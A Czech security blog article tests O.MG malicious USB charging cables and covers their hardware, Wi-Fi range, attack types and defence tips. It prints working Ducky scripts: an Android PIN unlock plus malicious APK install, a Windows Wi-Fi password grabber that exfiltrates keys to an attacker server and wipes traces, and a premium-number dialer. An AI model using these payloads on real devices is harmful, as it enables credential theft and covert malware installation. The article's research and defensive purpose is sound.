O.MG USB kabely a jejich použití v praxi, máme se čeho bát?

Koncem roku 2019 spatřila světlo IT světa novinka v podobě zákeřných nabíjecích USB kabelů, skrytě obohacených o Wi-Fi modul, paměť a mikroprocesor. Výrobek má na svědomí hackerská a vývojářská skupina Hak5, která se specializuje na tvorbu inovativních nástrojů pro penetrační testery, studenty kybernetické bezpečnosti a jiné IT profesionály z oboru. Ve své podstatě se jedná o velmi nebezpečný produkt, který byl dle výrobců vytvořen především pro moderní způsoby penetračního testování hardwaru. Ve veřejném prostoru se však z tohoto kabelu může stát nástroj, skrze který lze nepozorovaně útočit na počítače, mobilní telefony a další přístroje s USB konektivitou. Jaké jsou skutečné schopnosti těchto USB kabelů a rizika jejich zneužití v reálném světě? To jsou hlavní otázky, na které jsem se snažil v tomto článku najít odpověď.

Různá balení O.MG USB kabelů
Různá balení O.MG USB kabelů

Jak to vlastně vypadá a co to umí?

Již od prvního návrhu kabelu bylo hlavní myšlenkou to, aby se rozměry konektorů nezvětšily a aby kabel byl co nejvíce podobný OEM produktům od společnostní Apple, Samsung a jiných předních výrobců mobilních telefonů. Jak ukazuje následující fotografie, O.MG kabel je od originálního napájecího kabelu Apple pouhým okem opravdu velmi těžko rozeznatelný (O.MG kabel s oranžovým kroužkem). A právě v jednoduché záměně a použití tkví největší nebezpečí.

Apple Lightning vs. O.MG
Apple Lightning vs. O.MG

Na první pohled kabel disponuje standardními vlastnostmi – napětí 5V (+/- 0.5v), proud 500mA, USB 2.0 (480 mbps) a na každém konci USB konektor. Ten se zde rozlišuje na aktivní a průchozí. Původní verze kabelu byla konektorového typu USB-A – Lightning (s aktivní koncem USB-A), v následujících měsících byla nabídka rozšířena o varianty USB-C a MikroUSB.

Při pohledu na rentgenové snímky pod odstavcem je viditelné, že na svém aktivním konci kabel navíc obsahuje skrytý mikročip. Tento čip má v sobě kromě procesoru také pamětový a Wi-Fi modul. Samotný kabel je neškodný, jak bylo zmíněno obsahuje standardní vlastnosti a parametry, a lze jej tak využívat pro nabíjení přístrojů či pro datové přenosy, teprve po nahrání firmwaru a aktivaci pomocí programovatelné jednotky (O.MG programmer) se z něj stane nebezpečný nástroj pro hackery.

X-RAY USB konektoru
X-RAY USB konektoru

Následující obrázky ukazují programovací jednotku (O.MG programmer A+C) v aktivním zapojení a webové rozhraní, přes které se kabely flashují aktuálním firmwarem.

Aktivace kabelu
Aktivace kabelu
Online aktivátor
Online aktivátor

Jakmile je kabel zaktivován, mění se zcela jeho funkčnost. Po připojení aktivního konce k přístroji se z něj začíná integrovaný mikročip napájet a po několika vteřinách se iniciuje Wi-Fi modul, jež vysílá „O.MG“ síť 802.11b/g/n (2.4GHz). Vzdálený útočník se na tuto síť připojí a naváže tak přímé spojení s kabelem, respektive s přístrojem oběti. Na síti se pod IP adresou 192.168.4.1 ukrývá administrační portál, který slouží jak k pasivnímu záznamu aktivit, tak především k aktivním útočným operacím. Tyto operace se provádí pomocí instrukcí, které procesor zpracovává a vysílá do přístroje, respektive do operačního systému. Tyto payloady jsou tvořené příkazy programovanými v jazyce Ducky script, původně vytvořeného pro škodlivé USB Rubber Ducky flashky, rovněž od firmy Hak5.

Aktuálně Hak5 na svém e-shopu nabízí kabely ve dvou licenčních verzích – Basic a Elite. Tyto verze se od sebe liší několika parametry, jako je například rychlost zpracování instrukcí či počet paměťových slotů, ale také v jedné důležité funkcionalitě, a to keylogger. Hardwarový keylogger umožňuje záznam veškerých kláves (signálů), které putují mezi klávesnicí a operačním systémem, a nabízí tak velmi nebezpečnou sledovací funkci, ve které je hlavním účelem monitoring aktivit oběti a odchyt privátních informací jako jsou přihlašovací údaje do systémů, soukromé konverzace a podobně. Keylogger je aktivní pouze v Elite, dražší z obou variant, a lze jej aktivně využít pouze pokud oběť používá externí klávesnici spojenou právě naším kabelem (navíc pouze některé klávesnice jsou podporovány). Aktuální podoba licenčních parametrů je k nalezení na stránkách https://shop.hak5.org/products/omg-cable.

Při našich testech jsme použili USB kabely obou licenčních variant, následující obrázky ukazují administrační portál Basic, respektive Elite licence.

Základní rozhraní
Základní rozhraní
Elite rozhraní
Elite rozhraní

Důležité poznatky na úvod analýzy

Pomocí Ducky skriptů lze skrze O.MG kabely útočit jak na desktopové operační systémy jako je Windows či MacOS, tak na mobilní telefony Android či iOS/iPadOS. V naší analýze jsem se vydal mobilní cestou a pokusil se zjistit, jak moc jsou telefony, obsahující veškerá naše privátní informace, ohroženy.

Současný stav zabezpečení předních mobilních operačních systémů je na vysoké úrovni. Systémy chrání uživatele od připojení cizích zařízení k mobilním telefonům, dokud se uživatel neověří a sám toto spojení nepovolí. V případě O.MG kabelů je však tato ochrana krátká, neboť mikroprocesor se nachází uvnitř těla, a nikoliv v periferii, připojené na druhé straně kabelu. Jeho aktivní část se tak tváří jako součást telefonu, laptopu či jiného hostujícího zařízení, a útočné operace tak lze provádět ihned, bez vědomí oběti či detekce systému a povolující interakce. Tato vlastnost je jednou z podstatných výhod O.MG kabelů, která jej odděluje od řady jiných hackerských nástrojů, jež však pro útok do jisté míry nutně vyžadují připojení hardware, interakci uživatele, systému či které využívají nějakých specifických zranitelností.

Dalším dříve nečekaným objevem je omezená podpora mobilních přístrojů. V současné době jsou k dostání kabely pouze s aktivním konektorem USB-A či USB-C. Skupina Hak5 dodnes nepředstavila veřejnost verzi, která by obsahovala aktivní konektor Lightning. Lze se pouze domnívat, proč tomu tak je, nicméně faktem zůstává, že všechny mobilní telefony iPhone, využívající tento 9-pinový konektor, jsou dodnes proti nástrahám O.MG kabelů imunní. Pro ověření jsem použil dvě OEM redukce z USB-C na Lightning (Gembird USB-C/Lightning a WG USB-C/Lightning), ale při zapojení O.MG kabelu s redukcí do mobilních telefonů iPhone ani v jednom případě nedošlo k napájení mikročipu a aktivaci Wi-Fi hotspotu. Z hlediska bezpečnosti je tedy velká škoda, že díky nařízení EU o sjednocení konektorů musí Apple od nově publikovaných verzí iPhone 15 užívat právě zranitelný konektor USB-C. Vedle telefonů z kalifornského Cupertina jsou pak také mimo ohrožení starší telefony Android s konektory micro USB. Většina mobilních přístrojů na trhu je dnes osazena konektorem USB-C, včetně tabletů a iPadů, všechny tyto stroje se tak mohou stát kořistí O.MG kabelů.

Jaké typy útoků kabel umožňuje?

Dále jsem se v analýze zabýval možnostmi a nejčastějšími typy útoků, které lze pomocí těchto nebezpečných napájecích kabelů v reálném světě provést. Vybral jsem a trochu více do detailu rozebral následující tři:

  • Instalace škodlivých aplikací na telefon oběti:

Nahrání spyware, ransomware, malware s reverse shell kódem či jiného škodlivého druhu aplikace je zcela nepochybně jeden z hlavních a nejvíce nebezpečných typů útoku. Cesty zde existují dvě – instalace přímo z obchodů jako je Google PlayStore, Apple AppStore či jiných neoficiálních obchodů, pokud je oběť využívá, a instalace přes internetový prohlížeč. Ducky skript by pro první z těchto variant nebyl příliš složitý. Vizuálně jsou obchody téměř identické napříč všemi druhy telefonů a OS, a tak by řetězec instrukcí měl ve většině případů dojít ke stejnému cíli. Problémem je, že Apple a dnes i Google do jisté hloubky analyzují aplikace, které mají být publikovány v obchodech, a tak je velmi pravděpodobné, že pokus o vystavení špionážní aplikace by byl dříve či později poskytovatelem služby odhalen. Druhý způsob instalace, přes internetový prohlížeč, je mnohem složitější, protože k němu skript musí využít různé aplikace, musí pracovat se systémovými widgety a dialogy. Mobilní telefony v sobě ukrývají různě výkonný hardware, užívají odlišné verze operačního systému, launchery či internetové prohlížeče. To v praxi znamená, že instrukce jednoho skriptu mohou na různých telefonech vyvolávat odlišné aplikace či akce a v neposlední řadě odlišné časové prodlevy. Útočník tak zde musí cílit na přesný typ přístroje a znát dokonale svoji oběť, jinak je více než pravděpodobné že atak nebude úspěšný. Na závěr tu jsou společné zdi a bezpečnostní mechanismy, které operační systémy obsahují, ať již to jsou zámky telefonu, dialogy které nelze Ducky skriptem mapovat a aktivně použít či integrovaný PlayProtect antivirový plugin od Googlu.

Jako demo jsem si připravil ukázku skriptu, který do zamčeného mobilního telefonu (bez rootu) nainstaluje přes internetový prohlížeč škodlivou aplikaci a následně ji spustí:

Video automatizovaného útoku na telefon oběti
REM Android app installer; Device unlock, malicious application download and install
TAB
DELAY 2000
ENTER
DELAY 3000
STRING 25802580
DELAY 2000
ENTER
DELAY 2000
TAB
DELAY 250
GUI b
DELAY 5000
CTRL SHIFT n
DELAY 5000
CTRL l
DELAY 5000
STRING 192.168.1.100:8000/apk/twitter.apk
ENTER
DELAY 7000
DOWN
RIGHT
TAB
ENTER
DELAY 2000
DOWN
RIGHT
TAB
ENTER
DELAY 2000
GUI n
DELAY 2000
TAB
DELAY 1000
TAB
DELAY 1000
TAB
DELAY 1000
TAB
DELAY 1000
ENTER
DELAY 2000
TAB
ENTER
DELAY 10000
ENTER
DELAY 4000
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
TAB
DELAY 200
ENTER

Ze záznamu je viditelné, že skript zná správný kód zámku pro odemčení telefonu. V praxi tomu tak nebývá a útok se provádí tak, že paměťové sloty O.MG kabelu obsahují skripty, které vychází z různých pozic, ve kterých se telefon nachází. První slot například vychází z úvodní obrazovky odemčeného telefonu, druhý startuje z již otevřeného internetového prohlížeče, třetí z jiné otevřené aplikace na popředí, a tak dále. Útočník, který je oběti nablízku, tak pouští skripty dle aktuální situace. Video také odkrývá, že časové prodlevy mezi instrukcemi (DELAYe) jsou velmi důležité a zrádné, pokud by telefon z výkonnostního či jiného důvodu dokončil danou operaci později, než je nastavena prodleva mezi instrukcemi, celý proces by pak došel do jiného bodu a útok se nezdařil.

  • Extrakce dat z telefonu

Druhé využití může spočívat v exfiltraci privátních dat z mobilního telefonu oběti na server či mobilní přístroj útočníka. Tento úkon lze rovněž provést dvěma základními způsoby – přes aplikace krok po kroku podobně by akce prováděl uživatel či přes navázané reverse shell spojení po instalaci aplikace z předchozího bodu. První způsob je plně automatizovatelný a lze do něj zahrnout všechny možné varianty, jak lze z telefonu odeslat data přes síť pryč, od sdílení fotografií a dokumentů skrze aplikace sociálních sítí, zprávy či systémové prostředky jako bluetooth či Airdrop, až po užití nahrávacího formuláře na stránkách útočníka. Pokud proces instalace škodlivé aplikace byl komplikovaný úkon, tak tento útok na přístroj oběti je téměř neproveditelný a možný pouze v říši amerických kriminálek, neboť skript musí obsahovat desítky až stovky instrukcí, z nichž některé operace, jako například vyhledávání mediálního obsahu, kontaktů a jiných objektu, jsou velice specifické a na každém přístroji unikátní. Druhá z variant je daleko efektivnější a plynně navazuje na instalaci škodlivého software přes prohlížeč a následné spuštění reverse shell kódu a vytvoření TCP spojení mezi telefonem oběti a útočníkem. Pokud by se hackerovi podařilo nainstalovat malware, aplikaci spustit, a nakonec navázat spojení s jeho serverem, může se nepozorovaně dostat do veřejné části souborového systému oběti, k systémovým API či k periferiím jako je kamera či mikrofon. Takto by mohl získat přístup k celé fotogalerii, SMS zprávám, obsahu obrazovky, clipboardu, snímkům oběti či provádět spoustu dalších škodlivých aktivit. I zde však existuje velké množství překážek, od již zmíněného Android PlayProtect antiviru, blokace portů na firewallech a routerech, izolace hostů a jiných síťových zabezpečeních, které mohou úspěšné spojení překazit.

Jako ukázku jsem si zde připravil útok na operační systém MS Windows, přesněji tajnou extrakci Wi-Fi sítí a hesel ze systémové databáze a jejich zaslání na server útočníka. Skript spustí miniaturní terminál, vygeneruje záznamy o Wi-Fi sítích uložených v OS, data vloží do souboru, jehož obsah následně pošle na server útočníka. Nakonec po sobě smaže stopy.

Ducky skript (inspirováno internetem):

REM WiFi password grabber; Gets WiFi creds from Windows and sends plaintext data to a webserver
DELAY 1000
STRING GUI r
DELAY 1000 
String cmd /k mode con: cols=15 lines=1
ENTER
DELAY 1000
STRING cd %temp%
ENTER
DELAY 1000
STRING netsh wlan export profile key=clear
ENTER
DELAY 1000  
STRING powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > wifidata
ENTER
DELAY 3000  
STRING powershell Invoke-WebRequest -Uri http://192.168.1.100:8080 -Method POST -InFile wifidata
ENTER
DELAY 3000  
STRING del Wi* /s /f /q
ENTER
DELAY 1000
EXIT

Log ze serveru útočníka:

c:\.APPS\xINTERNI\HACKINGLAB\Clanky\04OMG>python httpserver2.py
INFO:root:Starting httpd...
INFO:root:POST request,
Path: /
Headers:
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; cs-CZ) WindowsPowerShell/5.1.19041.3031
Content-Type: application/x-www-form-urlencoded
Host: 192.168.1.100:8080
Content-Length: 1030
Expect: 100-continue
Connection: Keep-Alive

Body:

Wi-Fi-12M.xml:22:                               <keyMaterial>Kxxxxxxxxxx7</keyMaterial>
Wi-Fi-8yt0v4c3t3.xml:22:                                <keyMaterial>Txxxxxxxxxxi</keyMaterial>
Wi-Fi-AECARCHER.xml:22:                         <keyMaterial>Wxxxxxxxxxx1</keyMaterial>
Wi-Fi-AndroidAP8adc.xml:22:                             <keyMaterial>1xxxxxxxxxx8</keyMaterial>
Wi-Fi-COSTA.xml:22:                             <keyMaterial>Kxxxxxxxxxx5</keyMaterial>
Wi-Fi-EAHOTELS.xml:22:                          <keyMaterial>1xxxxxxxxxxs</keyMaterial>
Wi-Fi-HUAWEI P20 lite.xml:22:                           <keyMaterial>1xxxxxxxxxx0</keyMaterial>
Wi-Fi-Martin's iPhone.xml:22:                           <keyMaterial>1xxxxxxxxxx9</keyMaterial>
Wi-Fi-Moto G5 Plus_4231.xml:22:                         <keyMaterial>txxxxxxxxxxo</keyMaterial>
Wi-Fi-Nokia7.xml:22:                            <keyMaterial>1xxxxxxxxxx8</keyMaterial>
Wi-Fi-O.MG.xml:22:                              <keyMaterial>1xxxxxxxxxx8</keyMaterial>
Wi-Fi-TP-Link_0A5C.xml:22:                              <keyMaterial>0xxxxxxxxxx7</keyMaterial>
Wi-Fi-TP-Link_E1BC.xml:22:                              <keyMaterial>0xxxxxxxxxx6</keyMaterial>
Wi-Fi-Vodafone-5AF1.xml:22:                             <keyMaterial>uxxxxxxxxxxu</keyMaterial>
Wi-Fi-vodafone8E0A.xml:24:                              <keyMaterial>hxxxxxxxxxx4</keyMaterial>

192.168.1.100 - - [19/Sep/2023 19:57:17] "POST / HTTP/1.1" 200 -

  • Akce působící škodu oběti

Jako třetí oblast, kterou může hacker své oběti provést jsou úkony působící oběti finanční, reputační či jinou škodu. Takových scénářů je nespočet, od vytočení telefonního čísla draze placené linky, přes vypnutí/zapnutí funkcí telefonu jako jsou mobilní data, lokace a jiné, mazání aplikací či jiného obsahu telefonu, až po odeslání hanlivé SMS zprávy na určité telefonní číslo. Tyto skripty mohou být jednoduché a účinné, samotné útoky jsou však v důsledku relativně neškodné a pro hackera nemají větší motivaci.

Příklad skriptu, který vytáčí telefonní číslo placené linky (inspirováno internetem):

TAB
DELAY 1000
GUI c
DELAY 1000
CTRL f
DELAY 1000
STRING 609112777
DELAY 1000
ENTER
DELAY 1000
TAB
ENTER
DELAY 1000
TAB
TAB
LEFT
ENTER

Wi-Fi modul

USB O.MG kabely v sobě obsahují Wi-Fi modul 802.11b/g/n, pracující na pásmu 2.4GHz. Všechna ukázková videa schopností přístroje, které lze dohledat na internetu se odehrávají ve studiu, kde zařízení oběti i útočníka leží ihned vedle sebe. Pro provedení útočných scénářů v reálném prostředí je však důležité, aby měl Wi-Fi modul dostatečný výkon, neboť v kanceláři, kavárně či jakémkoliv jiném veřejném místě se nejspíše hacker bude pohybovat dále od oběti, a je tedy nutné, aby se byl schopen na kabel připojit i od protějšího stolu či z vedlejší místnosti.

Pro srovnání jsem porovnal sílu a dosah Wi-Fi signálu O.MG kabelu s mobilním hotspotem běžného mobilního telefonu Moto G5 Plus. Test proběhl v uzavřeném prostředí na vzdálenost do cca 15 metrů a několika betonových a cihlových zdí.

Na následujících mapách je vidět výsledná intenzita signálu (vlevo O.MG kabel, vpravo MotoG5):

Síla Wi-Fi signálu O.MG vs Moto telefonu v prostoru
Síla Wi-Fi signálu O.MG vs Moto telefonu v prostoru

Z výsledných grafů je patrné, že oba signály mají po celé mapě velmi podobnou intenzitu, ba naopak v místnostech za zdmi je nepatrně silnější síť O.MG. Důležitá zpráva je, že ve všech místech byl signál více než dostatečný pro bezproblémové vzdálené připojení a spouštění skriptů přes webové rozhraní do přístroje oběti.

Obrana proti napadení

Teoretických možností útoků na mobilní telefon, laptop či jiného IoT zařízení je celá řada, bylo by však příhodné zmínit i druhou stranu mince, a to, jak se proti takovým útokům mohou uživatelé bránit.

Zde je několik tipů:

- Užívání unikátních USB kabelů – v případě, že uživatelé nenosí nabíjecí USB kabely vždy u sebe a nechávají je ležet volně bez dozoru, například na pracovním stole, je dobré si tyto své kabely buď nějak unikátně označit, či koupit barevný OEM kabel, který se bude vizuálně od O.MG produktů lišit.

- Nedůvěřovat cizím kabelům – pokud člověk nemá stoprocentní jistotu o původu zapůjčeného kabelu, je lepší si nechat telefon na chvíli vypnout či vybít než přijít o svá soukromá data.

- Užívání bezpečnostních funkcí OS – současné verze operačních systémů jsou v základním stavu nastaveny velmi bezpečně. Prvky jako automatické aktualizace OS a aplikací, zabezpečené prohlížeče, integrovaný antivir (Android), blokované instalace z neznámých zdrojů, minimální práva pro nesystémové aplikace a další prvky, všechny tyto vlastnosti mohou pomoci v obraně proti pokusům o napadení telefonu, jako je například vzdálená instalace malware. Pokud uživatel některé z těchto funkcí potřebuje deaktivovat, mělo by to být pouze dočasné.

- Občasné restartování telefonu – nesystémové aplikace po restartu nejsou automaticky znovu otevřeny, stejně tak spojení útočníka s telefonem oběti pomocí reverse TCP shellu není rezistentní a po opětovném startu přístroje je nutné část útočného vektoru provést znovu, útočník navíc musí být v tu chvíli na stejné síti jako oběť. Je dobré jednou za čas restartovat svůj mobilní telefon.

- Zabezpečení Wi-Fi sítě – pro klidnější spánek také určitě není od věci mít dobře zabezpečenou a nakonfigurovanou Wi-Fi síť, přes kterou rovněž útoky mohou směřovat. Izolace hostů, blokace nestandardních portů, filtrace odchozího provozu, rotace hesel a mnohá další nastavení mohou zabránit spojení mezi útočníkem a jeho obětí.

- Občasná kontrola telefonu – je dobré jednou za čas zkontrolovat prostředí telefonu. Projít všechny instalované aplikace, aktivní služby či notifikace a ujistit se, že je přístroj v takovém stavu, v jakém má být.

Závěrem

Skupina Hak5 nabízí celou řadu revolučních nástrojů, které neslouží jen a pouze pro demonstrace zranitelných IT systémů a O.MG nabíjecí USB kabely nejsou v tomto výjimkou, co se však týká síly tohoto nástroje pro reálné útoky na mobilní přístroje, výsledky analýzy v mnoha směrech zůstaly za očekáváními. Zabezpečení operačních systémů, omezená podpora přístrojů či vysoké nároky na přesnost spouštěných skriptů zapříčiňují, že kabely lze využít pouze ve velmi specifických podmínkách. Pokud běžný mobilní uživatel není zbrklý, dbá o své soukromí a není bezmezně důvěřivý k informacím, které objeví na internetu, nemusí se v současné chvíli strachovat o bezpečnost informací, které obsahuje jeho nejvěrnější přítel v kapse.